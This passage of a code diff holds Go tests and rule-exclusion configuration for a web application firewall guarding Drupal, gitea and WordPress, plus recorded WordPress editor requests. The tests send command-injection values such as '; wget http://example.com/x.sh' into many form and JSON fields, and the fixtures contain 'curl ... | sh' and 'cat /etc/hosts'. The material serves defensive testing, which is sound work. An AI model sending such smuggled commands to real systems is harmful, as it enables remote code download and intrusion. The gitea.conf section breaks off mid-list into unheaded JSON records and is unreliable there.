t.Parallel() + + crs := readingBodies(t) + + for _, attack := range []string{ + injection, + scriptTag, + `; wget http://example.com/x.sh`, + `../../sites/default/settings.php`, + } { + r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}} + body := `{"name":"` + attack + `"}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score < drupalThreshold { + t.Errorf("POST %s %s let through: %+v", r.target, body, got) + } + } +} + +// drupalCommandAttack is a shell command that only 932230 and 932235 refuse +// on the fields that skip the other command rules, as a query value. +const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh" + +func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) + + for _, target := range []string{ + "/admin/content?title=", + "/admin/content/media?name=", + "/admin/people?user=", + "/admin/content/files?filename=", + "/admin/content/files?filemime=", + "/admin/content/block?info=", + "/admin/content/comment?subject=", + "/admin/content/comment?author_name=", + "/admin/config/search/path?search=", + "/admin/views/ajax/autocomplete/tag?q=", + "/search/node?keys=", + "/entity_reference_autocomplete/user/default/KEY?q=", + "/jsonapi/node/article?filter%5Btitle%5D=", + "/user/password?name=", + "/media-library?name=", + "/views/ajax?name=", + "/ckeditor5/basic_html/entity-link-suggestions?q=", + "/block-category/autocomplete?q=", + "/media/oembed?url=", + "/fr/admin/content?title=", + } { + got := inspect(t, crs, get(target+drupalCommandAttack)) + if got.Score < drupalThreshold { + t.Errorf("%s let through: %+v", target, got) + } + } +} + +func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + for _, sent := range []struct{ target, field string }{ + {drupalAddArticle, "title%5B0%5D%5Bvalue%5D="}, + {drupalAddArticle, "body%5B0%5D%5Bsummary%5D="}, + {drupalAddArticle, "revision_log%5B0%5D%5Bvalue%5D="}, + {drupalAddArticle, "path%5B0%5D%5Balias%5D="}, + {drupalAddArticle, "field_tags%5Btarget_id%5D="}, + {drupalAddArticle, "field_image%5B0%5D%5Balt%5D="}, + {drupalSignIn, drupalName}, + {"/user/register", drupalName}, + {drupalEditAccount, "mail="}, + {"/comment/reply/node/1/comment", drupalName}, + {drupalTagForm, "name%5B0%5D%5Bvalue%5D="}, + {"/taxonomy/term/1/edit", "description%5B0%5D%5Bvalue%5D="}, + {"/block/add/basic", "info%5B0%5D%5Bvalue%5D="}, + {"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D="}, + {"/contact", "subject%5B0%5D%5Bvalue%5D="}, + {"/contact/feedback", "message%5B0%5D%5Bvalue%5D="}, + {"/user/2/contact", "message%5B0%5D%5Bvalue%5D="}, + } { + r := request{http.MethodPost, sent.target, []string{formData}} + + got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack) + if got.Score < drupalThreshold { + t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got) + } + } + + for _, field := range []string{ + `"title":"; wget http://example.com/x.sh"`, + `"subject":"; wget http://example.com/x.sh"`, + `"body":{"summary":"; wget http://example.com/x.sh"}`, + `"name":"; wget http://example.com/x.sh"`, + `"revision_log":"; wget http://example.com/x.sh"`, + `"info":"; wget http://example.com/x.sh"`, + `"description":{"value":"; wget http://example.com/x.sh"}`, + } { + r := request{ + http.MethodPost, "/jsonapi/node/article", + []string{"Content-Type: application/vnd.api+json"}, + } + body := `{"data":{"attributes":{` + field + `}}}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score < drupalThreshold { + t.Errorf("POST %s %s let through: %+v", r.target, body, got) + } + } + + r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}} + body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score < drupalThreshold { + t.Errorf("PATCH %s %s let through: %+v", r.target, body, got) + } + + r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}} + body = `{"name":"; wget http://example.com/x.sh","pass":"example"}` + + got, _ = inspectBody(t, crs, r, body) + if got.Score < drupalThreshold { + t.Errorf("POST %s %s let through: %+v", r.target, body, got) + } + + // An address keeps 932250, which refuses ls -la. + r = request{http.MethodPost, drupalEditAccount, []string{formData}} + + got, _ = inspectBody(t, crs, r, "mail=ls%20-la") + if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) { + t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got) + } +} + +func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + const subject = "subject%5B0%5D%5Bvalue%5D=" + + for _, value := range hardValues { + for _, sent := range []struct{ target, field string }{ + {"/comment/reply/node/1/comment", subject}, + {"/comment/reply/node/1/comment/5", subject}, + {"/comment/reply/node/1/field_comments", subject}, + {"/comment/reply/media/1/comment", subject}, + {"/media/add/image", "revision_log_message%5B0%5D%5Bvalue%5D="}, + {"/media/1/edit", "revision_log_message%5B0%5D%5Bvalue%5D="}, + {drupalSignIn, "pass="}, + } { + r := request{http.MethodPost, sent.target, []string{formData}} + + got, _ := inspectBody(t, crs, r, sent.field+value) + if got.Score >= drupalThreshold { + t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got) + } + } + } + + for _, value := range hardValues { + word, err := url.QueryUnescape(value) + if err != nil { + t.Fatal(err) + } + + r := request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}} + body := `{"name":"example","pass":"` + word + `"}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score >= drupalThreshold { + t.Errorf("POST %s %s refused: %+v", r.target, body, got) + } + + r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}} + body = `{"name":"` + word + `"}` + + got, _ = inspectBody(t, crs, r, body) + if got.Score >= drupalThreshold { + t.Errorf("POST %s %s refused: %+v", r.target, body, got) + } + } +} + +func TestDrupalExclusionsAreNarrow(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) + + for _, passes := range []string{ + "/admin/content?title=python3", + "/search/node?keys=python3", + "/entity_reference_autocomplete/user/default/KEY?q=python3", + "/jsonapi/node/article?filter%5Btitle%5D=python3", + "/node/1/edit?destination=python3", + "/fr/admin/content?title=python3", + "/pt-br/search/node?keys=python3", + "/user/password?name=python3", + } { + if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold { + t.Errorf("%s refused: %+v", passes, got) + } + } + + for _, refused := range []string{ + "/?title=python3", + "/admin/content?other=python3", + "/?keys=python3", + "/node/1?keys=python3", + "/?q=python3", + "/?filter%5Btitle%5D=python3", + "/python3-notes?destination=python3", + "/notes/admin/content?title=python3", + "/fr/node/1?keys=python3", + "/?name=python3", + "/user/login?name=python3", + "/media/oembed?url=python3", + "/media/oembed?url=ls%20-la", + } { + if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold { + t.Errorf("%s let through: %+v", refused, got) + } + } +} + +func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + // The same field name in the query keeps the rules, in the query and + // in the body. + for _, sent := range []struct{ path, field string }{ + {drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"}, + {drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"}, + {drupalSignIn, "pass=python3"}, + {drupalSignIn, "name=python3"}, + {drupalEditAccount, "mail=python3"}, + {drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"}, + } { + r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}} + + got, _ := inspectBody(t, crs, r, sent.field) + if got.Score < drupalThreshold { + t.Errorf("POST %s let through: %+v", r.target, got) + } + } + + // The JSON field name keeps the rules beside json.name in the query, and + // on a path other than the password reset. + for _, target := range []string{ + drupalJSONPasswordReset + "&json.name=python3", + "/user/register?_format=json", + } { + r := request{http.MethodPost, target, []string{jsonBody}} + + got, _ := inspectBody(t, crs, r, `{"name":"python3"}`) + if got.Score < drupalThreshold { + t.Errorf("POST %s let through: %+v", r.target, got) + } + } +} diff --git a/internal/coreruleset/gitea.conf b/internal/coreruleset/gitea.conf new file mode 100644 index 0000000..600fc92 --- /dev/null +++ b/internal/coreruleset/gitea.conf @@ -0,0 +1,283 @@ +# The eighth change: on gitea's paths, some fields skip the rules that refused +# ordinary gitea requests there. They are the fields where gitea sends a search, +# a file name or a branch name. Each exclusion runs with the request, before the +# rules it switches off, those of phase 1 included, so this file is loaded before +# the Core Rule Set's rules. Each comment names a request the rule refused. + +# gitea's searches of code, of issues and pull requests, and of commits send the +# text searched for in q, which skips these rules there: +# 930110: ../ +# 930120: .gitignore +# 931100: http://127.0.0.1:8080 +# 932120: Invoke-WebRequest +# 932130: $(pwd) +# 932140: if (a == b) { +# 932160: /bin/sh +# 932235: `make check` +# 932250: ls -la +# 932260: python3 +# 932380: `whoami` +# 933100: +# 941110: \\n\\n\\n\\n[gallery ids=\\\"1,2\\\"]\\n\\n\\n\\n
\\\"\\\"
\\n\",\"meta\":{\"footnotes\":\"\"}}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/11?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 896", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=11&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": "{\"id\":11,\"slug\":\"bobs-first-post\",\"content\":\"\\n

It's a post about the Union station and how to select a table from the catalog & more. Visit the page.

\\n\\n\\n\\n
curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts
\\n\\n\\n\\n\\n\\n\\n\\n\\n[gallery ids=\\\"1,2\\\"]\\n\\n\\n\\n
\\\"\\\"
\\n\"}"} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 123", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=11&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": "data%5Bwp-refresh-post-lock%5D%5Bpost_id%5D=11&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=post&has_focus=true"} +{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203235.2958478927612304687500", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""} +{"method": "POST", "target": "/wp-json/wp/v2/posts/11?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 890", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=11&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": "{\"id\":11,\"status\":\"publish\",\"content\":\"\\n

It's a post about the Union station and how to select a table from the catalog & more. Visit the page.

\\n\\n\\n\\n
curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts
\\n\\n\\n\\n\\n\\n\\n\\n\\n[gallery ids=\\\"1,2\\\"]\\n\\n\\n\\n
\\\"\\\"
\\n\"}"} +{"method": "GET", "target": "/wp-admin/post.php?post=11&action=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203220"], "body": ""} +{"method": "GET", "target": "/?p=11", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""} +{"method": "GET", "target": "/2026/11/09/bobs-first-post/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""} +{"method": "GET", "target": "/?p=11&preview=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""} +{"method": "GET", "target": "/wp-admin/revision.php?revision=12", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 58", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/revision.php?revision=12", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203248"], "body": "compare%5B%5D=12%3A11&action=get-revision-diffs&post_id=11"} +{"method": "GET", "target": "/wp-admin/edit.php?post_type=wp_block", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203248"], "body": ""} +{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,wp-theme,wp-components,wp-list-reusable-blocks,common,forms,admin-menu,dashboard,list-tables,edit,revisions,&load%5Bchunk_1%5D=media,themes,about,nav-menus,wp-pointer,widgets,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/edit.php?post_type=wp_block", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203249"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 85", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php?post_type=wp_block", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203249"], "body": "interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-wp_block&has_focus=true"} +{"method": "POST", "target": "/wp-admin/options-permalink.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 189", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-permalink.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203250"], "body": "_wpnonce=4c458d2a5d&_wp_http_referer=%2Fwp-admin%2Foptions-permalink.php&selection=%2F%25postname%25%2F&permalink_structure=%2F%25postname%25%2F&category_base=&tag_base=&submit=Save+Changes"} +{"method": "GET", "target": "/wp-admin/options-permalink.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-permalink.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203250"], "body": ""} +{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203251"], "body": ""} +{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=13&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": ""} +{"method": "POST", "target": "/wp-json/wp/v2/posts/13/autosaves?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 968", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "{\"status\":\"draft\",\"title\":\"Bob's first post: a guide\",\"excerpt\":\"a short summary\",\"content\":\"\\n

It's a post about the Union station and how to select a table from the catalog & more. Visit the page.

\\n\\n\\n\\n
curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts
\\n\\n\\n\\n\\n\\n\\n\\n\\n[gallery ids=\\\"1,2\\\"]\\n\\n\\n\\n
\\\"\\\"
\\n\",\"meta\":{\"footnotes\":\"\"}}"} +{"method": "POST", "target": "/wp-json/wp/v2/posts/13?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 896", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "{\"id\":13,\"slug\":\"bobs-first-post\",\"content\":\"\\n

It's a post about the Union station and how to select a table from the catalog & more. Visit the page.

\\n\\n\\n\\n
curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts
\\n\\n\\n\\n\\n\\n\\n\\n\\n[gallery ids=\\\"1,2\\\"]\\n\\n\\n\\n
\\\"\\\"
\\n\"}"} +{"method": "GET", "target": "/wp-json/wp/v2/templates/lookup?slug=single-post-bobs-first-post-2&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": ""} +{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 123", "X-Requested-With: XMLHttpRequest", 